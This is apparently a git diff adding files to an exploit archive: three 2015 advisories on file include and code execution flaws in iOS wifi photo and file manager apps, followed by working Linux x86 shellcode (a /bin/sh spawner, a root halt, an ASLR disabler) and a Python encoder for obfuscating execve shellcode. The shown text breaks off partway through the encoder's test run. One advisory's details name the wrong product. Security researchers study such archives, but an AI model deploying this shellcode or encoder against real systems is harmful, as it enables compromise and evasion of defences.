vulnerability in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application. + + +Vulnerability Disclosure Timeline: +================================== +2015-03-12: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Linkus +Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0 + + +Exploitation Technique: +======================= +Local + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +A local file include web vulnerability has been discovered in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application. +The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path +commands to compromise the mobile web-application. + +The web vulnerability is located in the `filename` value of the `upload.action` module. Remote attackers are able to inject own files with +malicious `filename` values in the `upload.action` POST method request to compromise the mobile web-application. The local file/path include +execution occcurs in the index dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of +the `wifi interface` in connection with the vulnerable upload service module. + +Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute unique +local malicious attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. +To exploit the bug it is required to use the local device > wifi sync or (remote) the wifi gui. + +The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. +Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation +of the local file include web vulnerability results in mobile application or device compromise. + +Request Method(s): + [+] POST + +Vulnerable Module(s): + [+] upload.action + +Vulnerable Parameter(s): + [+] filename + +Affected Module(s): + [+] disp_photo.action + + +Proof of Concept (PoC): +======================= +The local file include web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + +PoC: +http://localhost:8080/disp_photo.action?filename=./[LOCAL FILE INCLUDE VULNERABILITY!]2.png + + +PoC: Vulnerable Source +
+
+ + +--- Poc Session Logs [POST] (Inject) --- +Status: 200[OK] +POST http://localhost:8080/upload.action?folderID=5 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[31] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:8080/upload.html?folderID=5] + Cookie[isenabledpasscode=false] + Connection[keep-alive] + POST-Daten: + POST_DATA[-----------------------------15932100885119 +Content-Disposition: form-data; name="is_submitted" +false +-----------------------------15932100885119 +Content-Disposition: form-data; name="upload_file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]2.png" +Content-Type: image/png +- + +Status: 200[OK] +GET http://localhost:8080/upload.html?folderID=5 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[8085] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Cookie[isenabledpasscode=false] + Connection[keep-alive] + Response Header: + Accept-Ranges[bytes] + Content-Length[8085] + Date[Do., 05 März 2015 20:52:18 GMT] + + + +Reference(s): +http://localhost:8080/upload.action?folderID= +http://localhost:8080/upload.html?folderID= +http://localhost:8080/disp_photo.action?filename= + + +Solution - Fix & Patch: +======================= +The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and +disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. + + +Security Risk: +============== +The security risk of thelocal file inelcude web vulnerability in the photo manager wifi service is estimated as high. (CVSS 6.9) + + +Credits & Authors: +================== +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed +or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable +in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab +or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for +consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, +policies, deface websites, hack into databases or trade with fraud/stolen material. + +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com +Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php +Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to +electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by +Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website +is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact +(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. + + Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ + + + +-- +VULNERABILITY LABORATORY - RESEARCH TEAM +SERVICE: www.vulnerability-lab.com +CONTACT: research@vulnerability-lab.com +PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt + + diff --git a/platforms/ios/webapps/36797.txt b/platforms/ios/webapps/36797.txt new file mode 100755 index 000000000..c9c15ac32 --- /dev/null +++ b/platforms/ios/webapps/36797.txt @@ -0,0 +1,231 @@ +Document Title: +=============== +Mobile Drive HD v1.8 - File Include Web Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1446 + + +Release Date: +============= +2015-03-11 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1446 + + +Common Vulnerability Scoring System: +==================================== +6.4 + + +Product & Service Introduction: +=============================== +Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. Mobile Drive allows you to manage +documents and organize them. You can quickly upload and download documents via email and the popular cloud storage services. + +(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/mobile-drive-hd-document-cloud/id626102554 ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in the Mobile Drive HD v1.8 iOS mobile application. + + +Vulnerability Disclosure Timeline: +================================== +2015-03-11: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Keke Cai +Product: Mobile Drive HD- iOS Mobile Web Application 1.8 + + +Exploitation Technique: +======================= +Local + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +A local file include web vulnerability has been discovered in the official USB Disk Free - File Manager & Transfer v1.0 iOS mobile application. +The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands +to compromise the mobile web-application. + +The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious +`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in +the index file dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` +in connection with the vulnerable upload POST method request. + +Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious +attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. + +The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. +Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation +of the local file include web vulnerability results in mobile application compromise or connected device component compromise. + +Request Method(s): + [+] [POST] + +Vulnerable Module(s): + [+] Upload + +Vulnerable Parameter(s): + [+] filename + +Affected Module(s): + [+] Index File Dir Listing (http://localhost:8080/) + + +Proof of Concept (PoC): +======================= +The local file include web vulnerability can be exploited by local attackers without privileged application user accounts or user interaction. +For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. + +PoC: +http://localhost:8080/files/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png + + +PoC: Vulnerable Source +[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png +
+ + + + +--- PoC Session Logs [POST] --- +Status: 302[Found] +POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[67] Mime Type[text/html] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:8080/] + Connection[keep-alive] + POST-Daten: + POST_DATA[-----------------------------21144193462 +Content-Disposition: form-data; name="newfile"; filename="[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png" +Content-Type: image/png +- +Status: 200[OK] +GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2739] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:8080/] + Connection[keep-alive] + Response Header: + Accept-Ranges[bytes] + Content-Length[2739] + Date[Mo., 09 März 2015 14:24:12 GMT] +- +Status: 200[OK] +GET http://localhost:8080/jquery.js Load Flags[LOAD_NORMAL] Größe des Inhalts[55774] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[*/*] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:8080/] + Connection[keep-alive] + Response Header: + Accept-Ranges[bytes] + Content-Length[55774] + Date[Mo., 09 März 2015 14:24:12 GMT] +- +Status: 200[OK] +GET http://localhost:8080/files?Mon%20Mar%2009%202015%2015:26:02%20GMT+0100 Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[62] Mime Type[text/plain] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[application/json, text/javascript, */*] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + X-Requested-With[XMLHttpRequest] + Referer[http://localhost:8080/] + Connection[keep-alive] + Response Header: + Accept-Ranges[bytes] + Content-Length[62] + Cache-Control[private, max-age=0, must-revalidate] + Content-Type[text/plain; charset=utf-8] + Date[Mo., 09 März 2015 14:24:13 GMT] + + +Reference(s): +http://localhost:8080/files/ +http://localhost:8080/jquery.js + + +Solution - Fix & Patch: +======================= +The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and +disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. +Encode the output in the file dir index list with the vulnerable name value to prevent an application-side injection attacks. + + +Security Risk: +============== +The security risk of the local file include web vulnerability in the upload POST method request is estimated as high. (CVSS 6.4) + + +Credits & Authors: +================== +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed +or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable +in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab +or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for +consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, +policies, deface websites, hack into databases or trade with fraud/stolen material. + +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com +Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php +Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to +electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by +Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website +is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact +(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. + + Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ + + + +-- +VULNERABILITY LABORATORY - RESEARCH TEAM +SERVICE: www.vulnerability-lab.com +CONTACT: research@vulnerability-lab.com +PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt + + diff --git a/platforms/ios/webapps/36798.txt b/platforms/ios/webapps/36798.txt new file mode 100755 index 000000000..b406081ae --- /dev/null +++ b/platforms/ios/webapps/36798.txt @@ -0,0 +1,265 @@ +Document Title: +=============== +Photo Manager Pro 4.4.0 iOS - Code Execution Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1444 + + +Release Date: +============= +2015-03-10 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1444 + + +Common Vulnerability Scoring System: +==================================== +8.6 + + +Product & Service Introduction: +=============================== +Do you have troubles for managing thousands of photos and videos? Do you have any private photos or videos? Are you looking for a photo portfolio app? +Photo Manager Pro is exactly you are looking for. Photo Manager Pro is extremely easy to use. TP Transfer: Transfer folders and files between computer +and device over wifi network. HTTP Transfer: Transfer files between computer and device over wifi network. View photos in the browser. Peer to Peer +Transfer: Directly transfer files between iPad, iPhone and iPod Touch over wifi network. USB Transfer: Import/Export photos from/to iTunes file sharing. +Basic Transfer: Import/Export photos from/to the Photos app. + +(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/photo-manager-pro/id393858562 & http://www.linkusnow.com/photomanager/help/ipad/help_main.php ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered a code execution vulnerability in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application. + + +Vulnerability Disclosure Timeline: +================================== +2015-03-10: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Linkus +Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +Critical + + +Technical Details & Description: +================================ +An arbitrary code execution vulnerability has been discovered in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application. +The vulnerability allows remote attackers to execute malicious codes on the application-side of the vulnerable app to compromise the +target mobile device. + +The vulnerability is located in the `folderName` value of the `newfolder.action` module. Remote attackers are able to manipulate the +`folderName` value in the `index.html#?w=300` file POST method request to compromise the application, user session information or connected +device components. The attacker tampers the new Folder POST method request to exchange the regular folderName value with special crafted code. +The input context is becomes visible at the main index service or subfolder (path). The vector of the vulnerability is located on the application-side. + +The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.6. +Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password. +Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent +manipulation function or connected module context. + +Request Method(s): + [+] [POST] + +Vulnerable Module(s): + [+] newfolder.action + +Vulnerable Parameter(s): + [+] folderName + +Affected Module(s): + [+] Index (http://localhost:8080) + [+] Sub Category Path + + +Proof of Concept (PoC): +======================= +The code execution vulnerability can be exploited by remote attackers without privileged application user account or user interaction. +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + +PoC: Create Folder + + + + +... after surfing to the created folder + +
+ + + + +PoC: Vulnerable Source + } + + function createFolder() { + $.ajax({ + type: 'POST', + url: 'newfolder.action', + cache: false, + dataType: 'json', + data: {folderName:$('#foldername').attr('value'), isSubfolder:$('#is_subfolder_hidden').attr('value'), parentFolderID:$('#parent_folder_hidden').attr('value')}, + async: false, + success: function(result) { + window.location.reload(false); + } + }); + } + + + +--- Poc Session Logs [POST] (Inject) --- +Status: 200[OK] +POST http://localhost:8080/newfolder.action +Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[23] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[application/json, text/javascript, */*; q=0.01] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Content-Type[application/x-www-form-urlencoded; charset=UTF-8] + X-Requested-With[XMLHttpRequest] + Referer[http://localhost:8080/index.html] + Content-Length[50] + Cookie[isenabledpasscode=false] + Connection[keep-alive] + Pragma[no-cache] + Cache-Control[no-cache] + POST-Daten: + folderName[*/-CODE EXECUTION VULNERABILITY!;] + isSubfolder[0] + parentFolderID[0] + Response Header: + Accept-Ranges[bytes] + Content-Length[23] + Date[Do., 05 März 2015 20:34:46 GMT] + +Status: 200[OK] +GET http://localhost:8080/index.html +Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[9421] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:8080/browse_folder.html?folderID=6] + Cookie[isenabledpasscode=false] + Connection[keep-alive] + Cache-Control[max-age=0] + Response Header: + Accept-Ranges[bytes] + Content-Length[9421] + Date[Do., 05 März 2015 20:34:46 GMT] + +Status: 200[OK] +GET http://localhost:8080/javascript/linkus.js +Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[397] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:8080] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[*/*] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:8080/index.html] + Cookie[isenabledpasscode=false] + Connection[keep-alive] + Cache-Control[max-age=0] + Response Header: + Accept-Ranges[bytes] + Content-Length[397] + Date[Do., 05 März 2015 20:34:46 GMT] + + + +Reference(s): +http://localhost:8080/index.html +http://localhost:8080/newfolder.action +http://localhost:8080/index.html#?w=300 +http://localhost:8080/browse_folder.html?folderID=5 + + +Solution - Fix & Patch: +======================= +The vulnerability can be patched by a secure parse and encode of the vulnerable folderName value. Restrict the input and filter the context by usage of a own exception to +prevent the application-side code execution. + + +Security Risk: +============== +The security risk of the code execution vulnerability in the photo manager wifi service is estimated as high. (CVSS 8.6) + + +Credits & Authors: +================== +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed +or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable +in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab +or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for +consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, +policies, deface websites, hack into databases or trade with fraud/stolen material. + +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com +Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php +Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to +electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by +Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website +is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact +(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. + + Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ + + + +-- +VULNERABILITY LABORATORY - RESEARCH TEAM +SERVICE: www.vulnerability-lab.com +CONTACT: research@vulnerability-lab.com +PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt + + + diff --git a/platforms/lin_x86-64/shellcode/36750.c b/platforms/lin_x86-64/shellcode/36750.c new file mode 100755 index 000000000..7ac9b1f68 --- /dev/null +++ b/platforms/lin_x86-64/shellcode/36750.c @@ -0,0 +1,27 @@ +/* + ++======================================================================================== +| # Exploit Title : linux/x86 setreuid(0, 0) + execve("/sbin/halt") + exit(0) - 49 bytes +| # Exploit Author : Febriyanto Nugroho +| # Tested on : Linux Debian 5.0.5 ++======================================================================================== + + */ + +#include +#include + +char s[] = "\x31\xc0\x31\xdb\x50\x53\x89\xe1" + "\xb0\x46\xcd\x80\x31\xc0\x50\x68" + "\x68\x61\x6c\x74\x68\x6e\x2f\x2f" + "\x2f\x68\x2f\x73\x62\x69\x89\xe3" + "\x50\x53\xb0\x0b\x89\xe1\xcd\x80" + "\x31\xc0\x50\x89\xe3\xb0\x01\xcd" + "\x80"; + +int main(int argc, char *argv[]) { +printf("shellcode length -> %d bytes\n", strlen(s)); +int(*fuck)() = (int(*)())s; +fuck(); +return 0; +} \ No newline at end of file diff --git a/platforms/lin_x86/shellcode/36637.c b/platforms/lin_x86/shellcode/36637.c new file mode 100755 index 000000000..4c64f3d95 --- /dev/null +++ b/platforms/lin_x86/shellcode/36637.c @@ -0,0 +1,64 @@ +/* +#Title: Disable ASLR in Linux (less byte and more compact) +#Length: 84 bytes +#Date: 3 April 2015 +#Author: Mohammad Reza Ramezani (mr.ramezani.edu@gmail.com - g+) +#Tested On: kali-linux-1.0.6-i386 + +Thanks to stackoverflow + + + +section .text +global _start + +_start: + +jmp short fileaddress +shellcode: +pop ebx +xor eax,eax +mov byte [ebx + 35],al +push byte 5 +pop eax +push byte 2 +pop ecx +int 80h + +mov ebx, eax +push byte 4 +pop eax +jmp short output +cont: +pop ecx +push byte 2 +pop edx +int 80h + +push byte 1 +pop eax +xor ebx, ebx +int 80h + +fileaddress: +call shellcode +db '/proc/sys/kernel/randomize_va_spaceX' + +output: +call cont +db '0',10 +*/ + +char shellcode[] = "\xeb\x22\x5b\x31\xc0\x88\x43\x23\x6a\x05\x58" +"\x6a\x02\x59\xcd\x80\x89\xc3\x6a\x04\x58\xeb\x36\x59\x6a\x02\x5a” +“\xcd\x80\x6a\x01\x58\x31\xdb\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x70” +“\x72\x6f\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c\x2f\x72” +“\x61\x6e\x64\x6f\x6d\x69\x7a\x65\x5f\x76\x61\x5f\x73\x70\x61\x63” +“\x65\x58\xe8\xc5\xff\xff\xff\x30\x0a"; + +int main() +{ + int *ret; + ret = (int *)&ret + 2; + (*ret) = (int)shellcode; +} diff --git a/platforms/lin_x86/shellcode/36778.c b/platforms/lin_x86/shellcode/36778.c new file mode 100755 index 000000000..c6743d563 --- /dev/null +++ b/platforms/lin_x86/shellcode/36778.c @@ -0,0 +1,58 @@ +/* +; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes +; Platform: linux/x86_64 +; Date: 2014-06-26 +; Author: Mohammad Reza Espargham +; Simple ShellCode + +section .text: + +08048060 <_start>: + 8048060: eb 17 jmp 8048079 + +08048062 : + 8048062: 5e pop %esi + 8048063: 31 d2 xor %edx,%edx + 8048065: 52 push %edx + 8048066: 56 push %esi + 8048067: 89 e1 mov %esp,%ecx + 8048069: 89 f3 mov %esi,%ebx + 804806b: 31 c0 xor %eax,%eax + 804806d: b0 0b mov $0xb,%al + 804806f: cd 80 int $0x80 + 8048071: 31 db xor %ebx,%ebx + 8048073: 31 c0 xor %eax,%eax + 8048075: 40 inc %eax + 8048076: cd 80 int $0x80 + +08048078 : + 8048078: e8 e5 ff ff ff call 8048062 + 804807d: 2f das + 804807e: 62 69 6e bound %ebp,0x6e(%ecx) + 8048081: 2f das + 8048082: 73 68 jae 80480ec +*/ + + +#include +#include +#include + +#define PAGE_SIZE 4096U + + +char code[] = { + "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" + "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" + "\x6e\x2f\x73\x68" +}; + +int +main() { + +printf("Shellcode Length: %d\n", (int)strlen(code)); +int (*ret)() = (int(*)())code; +ret(); + +return 0; +} diff --git a/platforms/lin_x86/shellcode/36781.py b/platforms/lin_x86/shellcode/36781.py new file mode 100755 index 000000000..7f505475c --- /dev/null +++ b/platforms/lin_x86/shellcode/36781.py @@ -0,0 +1,268 @@ +/* +Followtheleader custom execve-shellcode Encoder/Decoder - Linux Intel/x86 +Author: Konstantinos Alexiou +*/ +------------------------------------------------------------------------------------------------------------------ +a)Python script. Encoder for shellcode (execve) +------------------------------------------------------------------------------------------------------------------ + +#!/usr/bin/python +# Author:Konstantinos Alexiou +# Encoding name: Followtheleader-encoder +# Description: Custom execve-shellcode encoder based on a given byte which is used to encode the execve shellcode +import random +import sys +shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80') + +total = len(sys.argv) +if total != 2: + print '!!Give the LEADER byte' + print 'Script must run as: python xxx.py LEADER' + print 'LEADER is any integer between 17-255' + print 'e.g python Followtheleader.py 32' +else: + try: + leader = int(sys.argv[1]) + fb = int(hex(leader)[2:3],16) # Split the LEADER. If leader = AF -->fb=A + sb = int(hex(leader)[3:],16) # Split the LEADER. If LEADER = AF -->sb=F + encoded = ' ' + encoded2 = ' ' + encoded = '\\x' + encoded += hex(leader)[2:] # FIRST byte the LEADER + encoded2 = '0x' + encoded2 += hex(leader)[2:] + i=0 + for x in bytearray(shellcode): # READ every Instruction as BYTE + i +=1 + hopcode = '%02x' %x # KEEP only the HEX value of opcode + Dec_hopcode = int(hopcode, 16) # CALCULATE the DECIMAL value of opcode + suplX = 255 - Dec_hopcode # CALCULATE the SUPPLEMENT + rev_suplx = hex(suplX)[::-1] # REVERT the bytes of SUPPLEMENT (ae --> ea) + subfs = fb-sb +#----------------------------The Encoded byte ---------------------------------------------------- + xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16)) +#------------------------------------------------------------------------------------------------- + if len(xxx)>4: # Check if xxx > 0xff + print 'Overflow encoding.Try again!!!.' + sys.exit() + elif xxx == '0x0': # Check if ZERO byte was encoded + print 'A byte was Encoded as 0x00 .Try again!!!' + sys.exit() + encoded += '\\x' # Put \x first + encoded += xxx[2:] # Put the xxx afterwards + insertByte = hex(random.randint(1,255)) # Put a Random byte + encoded += '\\x' + encoded += insertByte[2:] + i +=1 + encoded2 += ',' + encoded2 += xxx + encoded2 += ',' + encoded2 += '0x' + encoded2 += insertByte[2:] + print ' *************'; + print ' LEADER BYTE :decimal(%d), HEX(0x%x)' %(int(sys.argv[1]),leader) + print ' *************'; + print 'Len of Shellcode: %02d' % i + print '------------------------------------------------------------------------'; + print ' 1. Style:= %s ' % encoded + print '------------------------------------------------------------------------'; + print ' 2. Style:= %s ' % encoded2 + print '------------------------------------------------------------------------'; + except: + print "exiting..." +--------------------------------------------------------------------------------------- + + +Followtheleader Encoder test run : + +$ python Followtheleader-encoder.py 67 + ************* + LEADER BYTE :decimal(67), HEX(0x43) + ************* +Len of Shellcode: 50 +------------------------------------------------------------------------ + 1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78 